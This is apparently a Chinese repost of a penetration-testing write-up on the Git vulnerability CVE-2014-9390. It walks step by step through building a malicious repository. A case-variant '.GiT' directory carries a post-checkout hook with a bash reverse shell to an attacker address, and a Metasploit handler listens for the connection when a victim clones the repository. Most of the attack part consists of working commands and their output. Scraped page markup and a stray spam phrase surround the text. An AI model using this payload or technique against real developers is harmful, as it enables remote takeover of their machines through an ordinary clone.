<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/4386

            from:https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/

            0x00 背景


            CVE-2014-9390是最近很火的一個漏洞,一個git命令就可能導致你被黑,我不打算深入探討這個漏洞的細節,官方已經在https://github.com/blog/1938-git-client-vulnerability-announcedhttp://article.gmane.org/gmane.linux.kernel/1853266發布了詳細信息。總之,如果你使用了大小寫不敏感的操作系統例如Windows或OSX,你應該更新git客戶端了。

            讓我們以滲透測試的角度來看看這個漏洞。

            0x01 準備


            我創建了一個命名為CVE-2014-9390的新項目。

            enter image description here

            建立一個.GiT(大些G,小寫i然后大寫T)目錄,創建一個vulnerable.txt文件,然后push到項目中。

            #!bash
            [email protected]:~/cve-2014-9390# mkdir .GiT
            [email protected]:~/cve-2014-9390# cd .GiT/
            [email protected]:~/cve-2014-9390/.GiT# echo "Vulnerable" >> vulnerable.txt
            [email protected]:~/cve-2014-9390/.GiT# cd ..
            [email protected]:~/cve-2014-9390# git add .
            [email protected]:~/cve-2014-9390# git commit -m 'poc'
            [master bec157d] poc
            1 file changed, 1 insertion(+)
            create mode 100644 .GiT/vulnerable.txt
            [email protected]:~/cve-2014-9390# git push
            

            我們再從Windows的電腦上用存在漏洞的git客戶端pull同一個項目看看

            #!bash
            [email protected] ~
            $ git clone [email protected]:mehmet/cve-2014-9390.git
            Cloning into 'cve-2014-9390'...
            Enter passphrase for key '/c/Users/rootlab/.ssh/id_rsa':
            remote: Counting objects: 7, done.
            remote: Compressing objects: 100% (3/3), done.
            remote: Total 7 (delta 0), reused 0 (delta 0)R
            Receiving objects: 100% (7/7), done.
            Checking connectivity... done.
            

            給大家看一下.git目錄,本應該在.GiT目錄的vulnerable.txt也在這里

            enter image description here

            0x02 利用


            什么是git的hooks

            與許多其他版本控制系統類似,一些重要的動作發生時,git有一個方法來執行自定義的腳本。hooks分兩方面:客戶端和服務器端。當進行commit和merge時可以觸發客戶端的hooks。

            當執行git命令如git pull和git checkout時就可以執行客戶端的腳本。

            如何實現git hooks?

            重寫.git/hooks目錄下的一個腳本文件,然后執行他,我們可以通過這個漏洞來實現。

            我們創建一個假的git目錄然后建立一個叫post-checkout的文件。

            #!bash
            [email protected]:~/cve-2014-9390# mkdir .GiT/hooks
            [email protected]:~/cve-2014-9390# echo '#!/bin/sh' > .GiT/hooks/post-checkout
            [email protected]:~/cve-2014-9390# echo 'bash -i >& /dev/tcp/[IPADDRESS]/443 0>&1' >> .GiT/hooks/post-checkout
            [email protected]:~/cve-2014-9390# git add .
            [email protected]:~/cve-2014-9390# git commit -m 'add reverse connection payload'
            [master 389c979] add powershell payload
            1 file changed, 4 insertions(+)
            create mode 100644 .GiT/hooks/post-checkout
            [email protected]:~//cve-2014-9390# git push
            

            我們在服務器端監聽

            #!bash
            msf > use exploit/multi/handler
            msf exploit(handler) > set PAYLOAD generic/shell_reverse_tcp
            msf exploit(handler) > set LPORT 443
            msf exploit(handler) > set LHOST 108.61.164.142
            msf exploit(handler) > exploit
            [*] Started reverse handler on 108.61.164.142:443
            [*] Starting the payload handler...
            

            我們clone https://gitlab.com/mehmet/cve-2014-9390

            enter image description here

            看起來都是很正常,但是……

            enter image description here

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线